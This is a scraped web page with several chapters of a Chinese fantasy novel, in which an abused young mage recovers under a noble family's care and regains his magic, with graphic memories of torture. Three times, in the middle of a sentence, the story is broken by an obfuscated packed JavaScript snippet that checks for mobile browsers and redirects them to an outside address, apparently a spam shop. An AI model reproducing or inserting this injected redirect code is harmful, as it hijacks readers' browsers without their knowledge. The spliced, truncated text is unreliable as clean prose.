利亚诺在尚未平复的喘息里沉默不语。 她的一只手还放在他的腹部,另一只手也搂着他,温暖的身体从背后贴着他,让他因疼痛而发冷的身体也开始回温。 但是……这也算有用吗? “你刚才脸色好差,真的吓坏我了,你以前也经常这么疼吗?湖边遇到你的那次是不是也在疼?” 爱丽丝仿佛不用他回答,就像以前很多次一样自顾自地轻声念叨。 但利亚诺觉得自己已经太久没有听到过这些,甚至莫名地感到怀念了。 午后的阳光洒进来,他才发现他所在的是一个很暖和的房间。 他早该发现的,这些天里,这个房间始终是温暖而明亮的,只不过他的心一直被困在格罗姆康特家那个阴冷的地牢里。 “那些事情让你担心得很难受吧?别着急,我会想想办法的,姐姐总说我鬼点子多,而且她和克莱因老师也都会帮忙的……” 利亚诺觉得有些困了。 忍耐了太久的疼痛,他已经耗尽了本就尚未恢复完全的体力。 爱丽丝轻声的细语则像一首令人无法抵抗的安眠曲,令他感到安全。 他本不会这样的,太多的伤害让他连别人无意的近身都会骤然警惕,更别说在他身上动手动脚。 但是现在,他却倚靠在爱丽丝的怀里,放任她不时轻抚他的发丝或者轻揉他的肩背。 利亚诺睡着了,就在爱丽丝细碎的轻语里。 这一次,没有梦境打扰。 * “好,谢谢你安娜~” 爱丽丝接过餐盘回到房间时,正好发现利亚诺已经醒来。 他似乎有些反应不过来,愣怔地轻轻眨了眨眼,才慢慢支撑着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17131347|195516||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自己从床上坐起。 被包裹在柔软蓬松的被子里沉沉睡了一觉,他现在浑身都是暖和酥软的,脸颊也不再是毫无血色的苍白,而是因温暖而微微泛红。 窗外仍有些夕阳的余晖,衬得他整个人都显得更加柔和。 “你醒啦,有胃口吃点东西吗?陪我一起吃一点好不好?” 爱丽丝看着他刚醒来时懵懵懂懂的模样心里柔软,试图趁这个时候悄悄哄劝他。 或者说,是她想让他稍微吃一些,所以才请安娜将两人份的晚餐送来房间。她想再多陪陪他,让他能够从那种重压之下稍微喘一口气。 爱丽丝发现当她用这样的语气请求时,利亚诺通常不太会拒绝,于是她用期冀的眼神看着他,果然等到他轻轻点头。 他们在房间的小桌上相对而坐,分享着同样的食物,并没有太多交谈,但是气氛平静而放松。 适合病患的温热汤粥散发着柔和的香气,爱丽丝注意到利亚诺比前些天吃的多了一些。 “……?” 利亚诺微微愣怔,一时没有理解。 将餐盘送出后,爱丽丝依然没有离开他的房间,而是坐在他身边对他掌心向上伸出双手,好像在等待着什么。 似曾相识的动作很快唤起了他的某些记忆,并不是美好的,但却因为她的存在而变得不那么痛。当他因为拙劣的火元素施法而被惩罚时,她也是这样静静地等待着自己对她展露伤口。 于是利亚诺再一次,犹豫地、动作缓慢地将手递给她,将他的痛楚暴露在她的眼前。 他的双手正在颤抖发痛。 那天在特里迪克和那些学徒脚下,他死死攥着凭证挂坠不愿被抢走,双手被踢踩得挫伤遍布,直到现在仍是肿胀未消。 捱着胃部痉挛的痛楚时,他又总是用手指重重按压着腹部,哪怕脆弱的指尖用力到疼痛发颤。胃痛到受不了时,他更是狠心地去掐,指尖和腹部的痛楚于是更加胡乱地搅在一起…… 所以,刚才吃饭时他连拿起轻质的勺子都痛得想要皱眉。 ……他以为爱丽丝不会发现的。 爱丽丝温热的手包裹住他的手,轻轻揉按那些伤痛,从掌心到指尖,将那些他准备沉默着忍过的痛楚都轻轻揉散。 她比利亚诺想象中还要熟悉他的反应。 忍不住的瑟缩是难熬的酸胀,她会放轻了动作一点点地深入,指尖隐约的颤抖则是在痛,她立刻停下动作将他的指尖护在手心。 “抱歉,弄疼你了吗?” 利亚诺轻轻摇头,不由自主地将头低下忍耐着双眼的发烫和酸涩。 明明不用这样对待他的不是吗…… 可是伤处那些温柔的安抚好像在一遍遍重复着她的回答。 “嗯?怎么了?” 爱丽丝发现了异样,歪头想要看清他的表情,却被利亚诺不动声色地偏头躲开了。 “谢谢……我……” 他呼吸了几次才慢慢开口,声音却哽了一下没能说下去。 因为他正在忍耐着想要落泪的冲动。 爱丽丝好像明白了什么。 她不再去看他的脸色,而是将视线重新落回他的双手,继续温柔地抚慰那些伤痛。 带着温暖笑意的声音接上他的话,“是不是觉得好一些了?” “嗯……现在好多了……” 利亚诺良久以后才轻声回答,声音里带着闷闷的鼻音。 25. 理解他的恐惧 浴室温暖氤氲的雾气里,利亚诺深深地呼出一口气。 胸口是被填满的酸酸涨涨的感受,让他感到疲惫,但是却并不讨厌。 晚餐时的一幕幕浮现在眼前,他好像能明白,为什么梅尔维尔会是爱丽丝的家。 “真的没事吗?不用勉强自己的。” “嗯。” 爱丽丝看得出利亚诺的紧张,因为这是他第一次与她的家人们一起共进晚餐。 她其实觉得姐姐和克莱因老师都不会介意的,但是在她这几天每餐都跑来利亚诺的房间陪他一起用餐之后,似乎是利亚诺首先觉得不妥。 她看着利亚诺轻抿着嘴唇、紧张却依旧坚持的样子感觉心里软软的,于是拉住他冰凉的手和他一起来到餐厅,轻声安抚他。 “别担心,我陪你。” 梅尔维尔领主已经在主位落座,手边一侧坐着梅尔维尔的魔法家庭教师克莱因,他们都用与爱丽丝相似的温柔的眼神欢迎他。 可是与格罗姆康特家类似的长桌仍旧让利亚诺的身体有些发冷,他有太多次被要求跪在桌下承受责打,还要死死咬着牙不能出声…… “利亚诺,这边。” 爱丽丝却拉着他的手将他带到空着的另一侧座位,她挨着爱琳娜,让利亚诺挨着她坐下。 利亚诺是僵硬的,僵硬到没有任何胃口,但是餐桌上的气氛是他未曾设想过的温和。 轻声的聊天和带着笑意的眼神让人觉得放松。爱丽丝很爱说些什么,或是亲昵地依偎着爱琳娜,一旁的克莱因仿佛也很高兴看到这样的景象。他们有时说些俏皮话,连送上餐点的庞普夫人和女仆安娜都忍不住微笑。 但他们不会逼迫利亚诺开口,也不会逼迫他强行咽下食物,就好像他只要让自己舒服和放松就好。 从未体验过的气氛让利亚诺感到陌生,他控制着自己的呼吸,努力尝试着,用刀叉向嘴里送去一小块鸡肉。 爱丽丝看到他的动作后眼睛都亮了,立刻向他介绍这道庞普夫人引以为豪的烤鸡。但她仍担心他会觉得胃不舒服,所以只小小地让他尝了一口她最爱的冰沙甜点。 利亚诺轻抿了一口,味道很甜。 嘀嗒的水声拉回利亚诺的思绪,他微愣了一下,然后开始在浴室中慢慢拆去双手的绷带。 肿胀的挫伤已经渐渐消散,恢复的速度比他想象的还要快,他不得不想起爱丽丝每次拉住他的手轻轻揉捏时的温柔。 好像有什么变得不一样了。 因为她的存在,他似乎可以试着去摆脱那些不断在身后追赶的噩梦,哪怕只是努力想想办法,哪怕只是让可以把握的现在变得更好一些。 他轻轻握起双手,又慢慢松开,看着周围氤氲的水汽,内心升起一种难以克制的渴望。 不论之后将面对什么,至少现在,他的魔法体已经被修补了,所以…… 手臂、手腕和手指流畅地运动起来,在半空缓缓划过,构成召唤水元素的最简单的手势。 利亚诺怀着某种不同以往的心情试图施展魔法,让手指在最后一个动作稳稳停住。 可是水元素没有回应。 他的心脏猛然一颤。 怎么会……又…… 相同的手势被重复,然后是其他不同的,一遍又一遍,依旧没有回应。 不、不要……为什么…… 他的魔法体已经不疼了,那天的治疗之后就再也没有熬人的痛苦。 但是…… 他发现自己体会不到魔力的流动了。 眼前开始发黑,呼吸渐渐凝固,利亚诺感受到自己的颤抖。 如果失去魔法的话……如果失去魔法的话…… * “呵,那你不是成了废人一个?” 科特兹毫无感情的话语让利亚诺浑身发冷。 魔法体被特里迪克的火元素魔力粗暴地修补后,利亚诺好不容易捱过了体内元素对抗的苦楚,却发现…… 他没有办法施展魔法了。 无论多少次重复那些早已烂熟于心、和疼痛一起被牢牢铭记的魔法手势,体内的魔力都像一潭死水一般毫无波澜。所以水元素,或者在之后被他尝试召唤的火元素,都没有对他的手势做出任何回应。 科特兹看他的眼神像看一个已经毫无利用价值的废物,但是他冷笑一声,仿佛又想到了什么更有趣的主意。 “正好,拿你来做实验似乎不错……你就好好发挥你仅剩的用处吧!” 这是噩梦的开始。 科特兹在他身上动用各种手段,强行打通魔力的流动。 光是魔药就有数不清的数量和种类,唯一能肯定的是没有任何一瓶会让他好受。 激起疼痛的那些他可以死死忍耐,哪怕体内承受着啃噬般的苦楚,也狠狠咬住手腕不肯出声,任凭冷汗浸透、浑身发抖。 但是一些魔药,不可抗拒地在小腹升起熬人的酸胀……他再也克制不住哀求和泪水,却被捏住下巴灌下更多,直到抛弃尊严崩溃地哭喊。 魔力的操纵是另一种手段。 特里迪克就是在那时学会了操纵他体内的火元素魔力,美其名曰让他体会魔力流动的感受,实际只是胡乱地搅动,每次都将他折磨到蜷缩在地上惨叫。 不要、不要……他要受不了了……他真的要受不了了…… 快停下……快结束吧……求你…… 利亚诺在令人绝望的崩溃中拼命去催动体内的魔力,哪怕每次流经那些被属性相对的魔力随意填补的地方都让他痛到快要晕厥。 可是,当他的魔力终于产生一丝流动的迹象…… 那些痛苦就会被重复几十几百遍,直到他记住这种感觉为止。 并且他需要为此感恩戴德。 于是,每一次,每一次。 每一次想要施展魔法,每一次魔力在体内流动,都会流经魔法体破溃又被粗暴修补起来的裂口。 他每一次都好疼,疼在最脆弱、最忍受不了的地方。 即使强行打通,他的魔力流动依旧是滞涩的,施法未必成功,痛苦却从未缺席。 “呃啊……别……呜……” 科特兹不满这个结果,继续在他身上做着各种各样的实验。 他痛到熬不住,可下一次只会更痛。 利亚诺蜷缩在冰冷的地面上,在破碎的边缘哄骗自己。 没关系的,只要有魔法,只要有魔法…… 他实在太害怕落入绝望中去,所以哪怕是用一刻不停的痛苦来代替,他也可以咬牙吞下。 只要有魔法的话…… 因为魔法是……唯一的…… * “利亚诺。” 一声呼唤让他从茫然的发愣中回过神来,他转过头,看见站在房间门口的爱丽丝。 “你在尝试施法吗,利亚诺?” 爱丽丝有些心疼。 这几天,她已经无数次发现利亚诺坐在房间里盯着自己的手发呆。 她知道他一定在难过,一定难过得快要受不了。 因为她见过他的魔法,哪怕并不是每一次都能成功,她也看得出他在魔法中倾注了多少赤诚的、毫无保留的真心。 但是这种事情上,难过和心急并不会带来更好的结果。 她已经向克莱因老师确认过,她的四种元素属性的魔力包含了利亚诺的水元素属性,所以并不会为利亚诺的施法增加太多困难和痛苦,只是他会需要一些时间来适应,毕竟他的魔法体刚刚从那样严重的损伤中堪堪恢复。 所以在现在这个时候,她并不能给利亚诺带来更多的帮助,能做的只有轻声地安慰。 “别担心,利亚诺,克莱因老师说魔法体暂时无法适应是正常的,再等等……” “别说了。” 利亚诺感觉到自己在轻轻发抖,出口的话语逐渐不受自己的控制。 “别再说了……你又、你又能……” 太多了,太多轻飘而无用的安慰了。 他宁愿疼。 听到了吗?他宁愿疼。 他宁愿尝试各种各样痛苦到极致的方法,魔药、魔力操纵、就算是鞭笞也可以,他能忍,哪怕忍到痛呼惨叫、忍到蜷缩在地上颤抖、忍到无数次超过承受的极限…… 至少不是像现在这样一天天被包裹在无法呼吸的温柔里面对着再也不能施展魔法的事实! 焦灼的煎熬一点点将利亚诺推向深渊,直到听到自己的理智断线的声音。 他再也克制不住地猛然抬 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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他从没体会过这样的感觉,好像他的身体和精神、他的每一缕想法都要在这一刻被彻底看透。 那似乎是某种他无法面对的宏大存在,让他浑身紧绷到快要受不了。 他不自觉地咬紧牙关发抖,连呼吸都无法继续,只有将所有的注意力都放在爱丽丝的双眼上才能支持得住不完全崩溃。 这是什么?她知道这个是什么吗?她也体会过这种感受吗? 爱丽丝不说话,只是用手轻柔地抚摸着他的头安抚他,温柔地看着他。 异样的感受渐渐消失,那一瞬间的惊恐好像也消散了,利亚诺终于无法克制地喘息起来。 他闻到爱丽丝手心蜂蜜一样甜甜的味道,感受到她温暖的体温,然后在她的安抚下慢慢平静下来。 “别怕,已经没事了。” 爱丽丝并不难过,一点儿也不。 不如说,她甚至庆幸利亚诺愿意在她面前发泄那些痛苦,叫喊出那些称得上是大逆不道的、丧气的话语。 他实在是一个人熬了太久了。 身体的痛苦、精神的压抑,一遍又一遍地反复,他却只能咬着牙将一切都死死咽下。 来到这里之后依旧如此,她几乎没有见过他有那一刻是真正放松的,哪怕在睡梦里似乎都紧绷着神经,哪怕是换药时的疼痛都不愿启齿,他忍耐的表情真的让她好心疼。 如果不是情况不允许…… 她真的愿意听他再多说一些。 “对不起……对不起……” 理智回笼,利亚诺却反应过来自己刚刚说了什么。 他怎么可以这样、怎么可以将那些崩溃的情绪指向她……唯一温柔的、唯一为他的痛苦而落泪的人…… 破碎颤抖的话语被慌乱和自弃所淹没,他其实不敢再看爱丽丝,却在几秒的回避之后咬着牙逼着自己去正视她的眼睛,直到胸口被深深刺痛,视线被愧疚的泪水模糊。 爱丽丝却轻轻摇头,好像理解了他的全部痛苦。 可是……这样卑劣的想法也是可以被理解的吗? 回答他的是爱丽丝始终温柔的注视,他快要在那样的眼神里融化。 然后她的眼睛好像亮了一下。 “利亚诺,你的契约……我好像想到办法了。” 26. 尊重他的选择 “可是这需要验证……如果真的是这样的话……” 克莱因老师在会客厅里紧皱着眉头来回踱步,好像因爱丽丝的假设而陷入了为难的思索。 爱琳娜反倒更加镇定,她坐在会客厅一侧,仔细观察着对面长沙发上并肩而坐的两人。利亚诺似乎正在紧张僵硬,而爱丽丝则一直握着他的手给他支持。 爱丽丝和这个孩子,也许真的…… “克莱因,让他们试试吧。”她最终开口。 虽然在年龄上属于相当年轻的青年领主,但是爱琳娜自双亲去世后始终肩负着梅尔维尔领地的责任,平时是爱丽丝亲近的姐姐,可在敛起表情说话时,不得不令人感觉到不容置疑的威严。 “如果那份魔法契约真的并未成立,哪怕是违背契约逃离格罗姆康特也不会遭到魔法的反噬。至于那一纸文书,身为大领地的格罗姆康特没有理由抓着不放,万一出现意外,我们甚至可以请求罗斯戴尔领地的协力。” 克莱因感受得到爱琳娜已经下定决心,毕竟这关乎这个孩子的未来。 他微微叹息着理解了她的考量,走近利亚诺身前,单膝跪地让自己的视线与他平齐,用宽厚的双手扶住他的肩膀。 “利亚诺,你听好。如果爱丽丝的假设成立,魔法体碎裂甚至魔力几乎耗尽时,签下的契约无法汲取到魔力,因而也就不具备魔法契约的约束力。可是,我们不能不对这个猜想进行验证。” 他神情严肃地直视利亚诺的眼睛,提醒他这个过程不会轻松。 “要验证这一点,需要爱丽丝对她在你魔法体上留下的魔力进行操纵,人为制造出魔法体的漏洞。并且为了验证结果的准确性,你需要等到魔力几乎耗尽时再次尝试签下契约。你会再一次,感受到魔法体破损的痛苦,还有魔力快速流失直到干涸的痛苦,那会是难以想象的辛苦。但是即便如此,我们也无法保证结果如我们所愿。你明白吗?” “……我明白。” 利亚诺克制地点头,但他正在细细发抖,嘴唇在恐惧和激动里微微发白。 他有可能证明那个被极致的痛苦所逼迫着签下的契约是无用的,也有可能白白忍耐一次他最害怕的折磨。 在等待准备的时间里,他的手早已在爱丽丝手中冰凉得让人心疼。 而爱丽丝一直静静地陪着他,直到得到可以开始的信号。 她知道利亚诺一定会选择尝试,哪怕只有一点点微弱的希望。 于是她感受着那份存在于他体内的魔力,按照克莱因老师所说的方法谨慎地去操纵它。 她很小心,保持着不去触动利亚诺的魔法体,而是在她的魔力所填补的区域制造出一个缺口,让利亚诺的魔力从那里逸散。 可是这不可能好受。 “——!” 利亚诺猛地一颤,硬生生忍耐住没发出声音。 不行,他警告自己,不能崩溃,不能痛呼。 这和之前那些折磨比起来简直太温和了,所以他要忍耐住,不能让这些为他考虑的人为难,不能让爱丽丝为难…… 事实上,他没想到爱丽丝会提出这个。 他知道自己的话语有多过分。他以为在他吼出那些忘恩负义的话语后,爱丽丝会彻底厌弃他,再也不想着解除他的困境,或者至少,趁着这个帮他验证的机会短暂地通过折磨他来发泄情绪。 但是…… 利亚诺弓起身体,双手克制不住地压向腹部,那个握住他手腕的手却一如既往的温暖,轻轻的摩挲仿佛在哄劝他温柔些对待他自己。 其实他知道的,爱丽丝不会那样,她不是那样的人。 所以他更加努力地不去失态,不想让爱丽丝承受给他带来痛苦的心理负担。 可他还是忍得辛苦,忍得快要到极限,哪怕用力到泛白的手指死死掐着腹部和大腿,喉间仍泄出再也熬不住的闷哼。 “姐姐,克莱因老师。” 爱丽丝在此时突然发话,“对不起,可以请你们稍微离开一下吗?” 被呼唤的两人闻言讶异地扭头看向爱丽丝,却发现她抬起的双眼中带着某种沉静的坚持。 “我知道的,等到利亚诺的魔力几乎耗尽,然后让他尝试签下契约,对吗?结束后我会尽快让他恢复魔力的,所以,请你们稍微离开一下好吗?” 爱琳娜几乎是在对视的那一瞬间就懂得了爱丽丝的想法,她与爱丽丝交换了一个担忧但却理解的眼神,然后便离开了会客厅。 克莱因看着已经忍耐到需要倚靠着爱丽丝才能堪堪坐住的利亚诺,仿佛也明白了什么。 “我就在门口,有什么事立刻叫我。” 他跟着离开,并且将会客厅的大门轻轻合上。 利亚诺几乎是立刻就坐不住地向下滑,背靠着长沙发蜷缩在地上发抖,爱丽丝干脆也直接跪坐在地毯上,搂住他再也坚持不住的身体。 “难受得厉害是不是?再坚持一下下……一小会儿就好……” 感受到利亚诺在她怀里无助地颤抖,她又轻语着唤出风元素的屏障隔绝这里的声音。 “太疼了叫出声来也没关系的,这里没有别人,他们听不见……” “呃……” 利亚诺还想忍耐,可是这真的太难受了…… 魔法体的缺损、魔力的逸散、生命的流逝,这是他噩梦里的感受,是特里迪克折磨他时的感受,是他最恐惧的感受。 即使知道在身边的是爱丽丝,他也已经忍耐到快要崩溃。 他的身体已经由于魔力的逸散而动弹不得。 原本死死咬住下唇,却又被疼痛逼得张口,只有毫无血色的嘴唇细细发颤。 他想要咬住什么东西以聊胜于无地缓解那些痛苦,但又不能,只有重新咬紧牙关,然后又是咬住下唇,翻覆承受着一点点叠加的绝望。 “利亚诺、利亚诺,别这样忍着……” 爱丽丝轻按他的后脑,将他的面庞紧贴在自己的肩窝,让他能够咬住她的衣料作为微弱的发泄。 “没关系,别担心,只要能让你好受一点……” 所以别再紧逼自己了,至少在这么痛苦的时候。 “呜……疼……” 似乎只有在咬着布料无法被听清时,利亚诺才愿意诉说那些快要将他击溃的痛楚。 听到他夹杂着呜咽地、含糊地喊疼,爱丽丝心疼得快要流泪了,又欣慰得想要微笑。 “我知道,我知道……再忍耐一下,很快就好……” 会客厅里只有他们两人,所以爱丽丝极其小心地观察着时机。 她在利亚诺再也熬不住的时候立刻拿来专为验证准备的契约,托着他的手腕帮助他签下。 又在最后一笔完成的一瞬间抽走那些纸笔,恢复利亚诺魔法体的同时启动早已准备好的法阵,让水元素不断汇聚过来补充他的魔力。 “好了,好了,结束了……” 利亚诺虚脱到只有躺在她的怀里喘息,连声音都发不出来,却用视线不依不饶地盯着那份契约。 爱丽丝不愿放开抱住他的双手,心神一动,火元素便点起一旁的烛台,风元素卷着契约的羊皮纸丢向烛焰。 而那张契约的羊皮纸,轻易被烧成了灰烬,没有显现出任何魔法的迹象。 爱丽丝的设想是对的。 利亚诺和格罗姆康特的契约只是没有魔法约束的一纸文书,即便违约也不会遭受魔法的反噬。 所以,他可以是自由的。 明明还有太多的问题需要考虑,他的魔法,他的学习资格,他的立身之地…… 但是,护住他的怀抱太过于温暖,利亚诺再也支撑不住地昏睡过去。 * “可是……那样你会难受的……” 爱丽丝轻轻皱着眉担忧地看着利亚诺,但对方却依旧坚持。 阳光透过卧室的玻璃窗洒在他身上,面前是早已准备好的一小盆清水,他紧抿着嘴唇,用一种请求甚至是恳求的眼神看着她。 爱丽丝并不愿意用这样的方式帮助利亚诺找到魔力流动的感觉,因为她知道他会很难受,会疼到受不了,他在前一天才刚刚重新捱了一遍魔法体的痛! 可是…… 她又怎么会不知道他有多渴望找回他的魔法。 于是她终究还是拉住他的手,然后很轻很轻地,驱动起留在利亚诺体内的魔力。 “……!” 利亚诺双膝一软,眼看就要跪倒在地上,爱丽丝立刻半搂半抱地将他扶住了。 她看着利亚诺在她怀里努力喘息的模样快要不忍心,利亚诺却不愿放弃。 “没、没事……继续……” 他的声音里是微微的颤抖。 最脆弱的地方被无法防备地触碰,他不可能不难受。 但这是他第一次以平静而非绝望的心情哄劝自己,没关系的,因为是她,所以没关系的…… 他略微喘了口气,继续皱着眉去承受。 那不是疼,不是像特里迪克折磨他那样的粗暴搅动,而是像羽毛轻抚过娇嫩的内脏,传来丝丝缕缕的痒意。 敏感的魔法体上的感受鲜明到让他忍不住想要瑟缩起来,他咬牙忍耐着,果然有一瞬体会到了魔力流动的感觉。 很快了,只要……再忍耐一下就好…… “呃!!” 可是身体的恐惧不愿听从理智的劝说,腹部尖锐的疼痛突然袭来,利亚诺狠狠颤抖了一下,整个人彻底脱力地跪向地面。 “利亚诺!怎么了?是胃痛吗?” 感受到利亚诺骤然失去力气,爱丽丝用力用双臂去搂住他才没让他的双膝直直砸下。 只是几秒钟的时间,利亚诺已经脸色煞白。冷汗顿时浸透衣料,他不住地颤抖,倚靠着爱丽丝已经接近虚脱。 爱丽丝最不忍心看他这样在崩溃边缘忍耐的样子,几乎就要停下魔力的运作。 “别……别停……” 可是她听到利亚诺颤抖的声音在她耳边恳求。 “再让我试一下……拜托……” 即使在痛苦中颤抖,他的声音也并不完全是破碎的,而是有什么信念在默默支持着。 还有他的眼睛。 他的眼睛毫不躲避地直视着爱丽丝,其中的光亮甚至让她愣怔了一瞬。 于是爱丽丝将他抱稳,轻声却肯定地开口。 “好,我帮你。” 痉挛的苦楚不肯退去,魔力的搅动也没有停下,利亚诺在煎熬里说不出话来。 但是爱丽丝明白他的想法,她狠心在他的闷哼里将他的身体扶正并支撑住,让他能够抬起手臂尝试施法。 她并不想去关注施法的结果,只是专注地观察利亚诺的状态,好在他的身体熬不住之前及时停下。 可是,利亚诺 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17143386|195516||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手臂的动作却屡屡在余光里吸引她的注意。 都已经疼成这样了,他的动作也没有一丝一毫的变形…… 爱丽丝感觉到自己的眼眶在微微发烫,她不自觉地转过头去追随他的手指,又被吸引着看向他的手指指向的地方—— 好美的魔法。 一汪清水在水元素的推动下碰撞飞溅,半空中精灵一样地飞舞,就像他们曾经一起看到过的水元素生灵涅瑞。 它们欢呼雀跃地舞动,直到化作水雾,在阳光下熠熠生辉。 这是利亚诺的魔法,是他用坚韧的脊骨、澄澈的内心所呼唤出的魔法,一如她第一次见到的模样。 爱丽丝长久地出神。 “呜……” 利亚诺再也没有忍耐的力气。 魔法体搅动的苦楚已被爱丽丝温柔地抚平,痉挛的疼痛却不肯轻易消失。 施法成功后骤然放松的神经好像抽走了所有强撑的力量,他疼到只能蜷缩在爱丽丝的怀里发抖,连呜咽都克制不住。 爱丽丝紧紧抱住他,用自己的体温去温暖他,用温热的手小心地轻揉他的腹部,想要帮他揉开那些冷硬的痉挛,让他能稍微舒服一些。 然后她听到小声抽噎的声音。 利亚诺哭了。 爱丽丝微微愣住,很快就继续着手上温柔的动作,装作不觉地轻声哄他。 “没事了,没事了……再稍微忍一下就不疼了……” 但是她明白,他在黑暗里煎熬了太久的委屈,和终于见到一束光亮的喜悦。 她明白他泪水里的一切。 * 利亚诺的心脏狂跳。 他在梅尔维尔休息了一整个假期的时间,虽然仍有挥之不去的噩梦和绞拧般的腹痛不时折磨,可只要熬过黑暗的夜晚,清晨的阳光总会到来。 梅尔维尔领主会用温和的关怀询问他身体恢复的情况,克莱因老师会以专业的建议指导他进行魔法的练习,还有爱丽丝,总是兴致高涨地与他讨论魔法,又在疼痛来袭时那样温柔地安抚他、拥抱着他轻揉他不愿启齿的痛处……他早就不敢再奢求更多。 但是,但是…… 无论怎样忍耐,他还是克制不住内心升起的隐秘的期望。 因为今天是出发去学院进行冬季学期学习的日子,而爱丽丝轻轻敲开他的房门,看到他几乎整晚没有合眼的面容后,没有像往常一样露出担心的神色,只是笑嘻嘻地拉着他的手拽着他向会客厅跑去。 梅尔维尔领主和克莱因老师已经在等着他们,带着笑意地看着他们急切的身影。 所以……他是否真的可以去期望…… “花费了一点时间,但好歹在今天完成了。” 克莱因沉稳的声音稍微安抚了他的焦躁,他在桌面上面对着利亚诺展开一张羊皮纸,又放置好墨水和羽毛笔,然后才郑重地开口。 “利亚诺,我们希望聘请你为梅尔维尔的魔法家庭教师。你对魔法理论的理解相当深入,与爱丽丝的讨论也非常顺畅,所以,如果你有意愿,我们希望你能作为魔法家庭教师指导爱丽丝的理论学习,也作为同伴与她一起进步。与之相对应的,你可以在梅尔维尔家常住,获得每月例行的薪水……” “同时,我可以作为担保人,支持你在魔法学院继续学习。” 爱丽丝早就兴奋地扑到爱琳娜怀里抱住她,引来她佯装责怪的笑声。 她知道这件事没有那么容易,为了与格罗姆康特周旋,姐姐和克莱因老师一定付出了很多努力。 克莱因看着姐妹二人这样亲昵的景象也不由自主地想要微笑。 他忍不住打趣,“我想,如果利亚诺愿意接受的话,爱丽丝应该会很开心吧?” “什么呀,明明是克莱因老师想要有更多和姐姐相处的时间吧!” 爱丽丝皱起眉毛嘟着嘴抱怨,语气却是俏皮而明朗的。 被她提及的两人一时没有回话,只是微微对视一眼,然后以一种莫名其妙的默契同时挪开了视线,脸颊微红。 只有利亚诺周围的空气是静止的。 生怕破坏了这样的幻梦一般,他连最轻微的呼吸都不敢进行。 这是一份真正的魔法契约,却比他所能想象的还要好,还要好得多。 他逼着自己冷静下来仔细阅读每一个字,于是便不得不一次又一次地理解了这份契约的意思。契约里的他不再是家仆,甚至不是侍从,而是……和爱丽丝一同学习的魔法家庭教师。 会客厅内的其余三人好像刻意没有将视线聚集在他身上,而是留给他考虑和决定的空间。 可是,他已经需要咬住下唇才能克制住滚烫的泪水。 这一次,他不再是被动的承受,也不再被疼痛所逼迫,而是因内心真实的向往想要签下这份契约。 他屏住呼吸,用颤抖的手指拿起羽毛笔,在羊皮纸的尾端落下笔迹,清晰地感觉到他的魔力被抽取了一点点以使得这个契约具有魔法效力。 这是他第一次依照自己的意愿做出选择。 “爱丽丝小姐,亚伯大叔已经备好马车在门口等候了,随时可以出发前往学院。” “谢谢你安娜~我们这就来!” 爱丽丝回头看向利亚诺,微笑着对他伸出手,而利亚诺几乎是立刻递出手去。 他的眼里盈满着尚未消散的水雾,有如盛着某种光芒一般明亮。 27. 陪伴他的迷惘 窗外初冬的景色不断后退,辘辘的车轮声渐渐安抚了利亚诺鼓动的心跳,但他依旧深陷在一种不真实感之中。 真的可以吗? 他拥有了新的身份,不再需要回到那个地狱,他被允许坐进温暖舒适的马车车厢,而不是捱着浑身的伤痛咬牙骑上马背忍耐可怕的颠簸。 痛了太久,他仍然会不敢相信身上那些没日没夜折磨他的伤口是否已经真的愈合,但是只要爱丽丝在他身边…… 他偷偷瞥了一眼身旁正透过车窗张望的身影。 她柔软的长发搭在肩头,微张的嘴唇在玻璃上呼出一点点朦胧的雾气。 最后的那一丝不安终于也像那片雾气一样消散了。 利亚诺闭上眼轻轻吐了一口气,只觉得短暂的秋季假期仿佛一个世纪一般漫长。 微微抬眼时,他发现坐在车厢对面的座位上的女仆安娜正面无表情地看着他,与他对视后才缓慢地挪开视线。 利亚诺敏感地察觉到一点微妙的敌意,也许并不能称得上敌意,只是对他暂时的不信任和保留态度。 或者更具体些,安娜似乎是因为他占据了爱丽丝身旁那个她通常的座位,所以正颇有微词。 利亚诺完全能理解这样的想法。 给梅尔维尔领主一家带来这么大的麻烦,接受他们的照顾,甚至那么多次地得到爱丽丝温柔的安抚…… 他只希望自己能做得更好些,从现在开始。 爱丽丝浑然不知身旁两人一瞬间的对视。 刚启程的新奇渐渐消退,她不再张望车窗外的风景,而是回过头来察看利亚诺的状态。 天气渐冷,他的面色有些发白,眼尾却还在微微泛红……爱丽丝只觉得那莫名的惹人怜爱。 他的兜帽尚未戴上,还没有回到在学院时那般拒人千里的模样,于是爱丽丝伸出手去轻抚他的稍有些凌乱的发丝,他没有躲。 “昨天是不是没睡好?又做噩梦了吗?” 几乎不用他回答,爱丽丝就将目光转向安娜,而对方还没等她开口就立刻心领神会地拿出在车厢内小睡用的毯子。 爱丽丝随即自己动起手来,将利亚诺用毛茸茸的毯子团团围住。 看着他局促地抿紧嘴唇,露出无措的求助的眼神,她忍不住嘻嘻地笑。 其实爱丽丝知道的。 他常常在噩梦里回到那个阴冷可怖的地牢,咬牙承受着即使在梦境中也真实到令人发颤的鞭打,他会呜咽着醒不过来,直到被腹部骤起的痉挛惊醒。 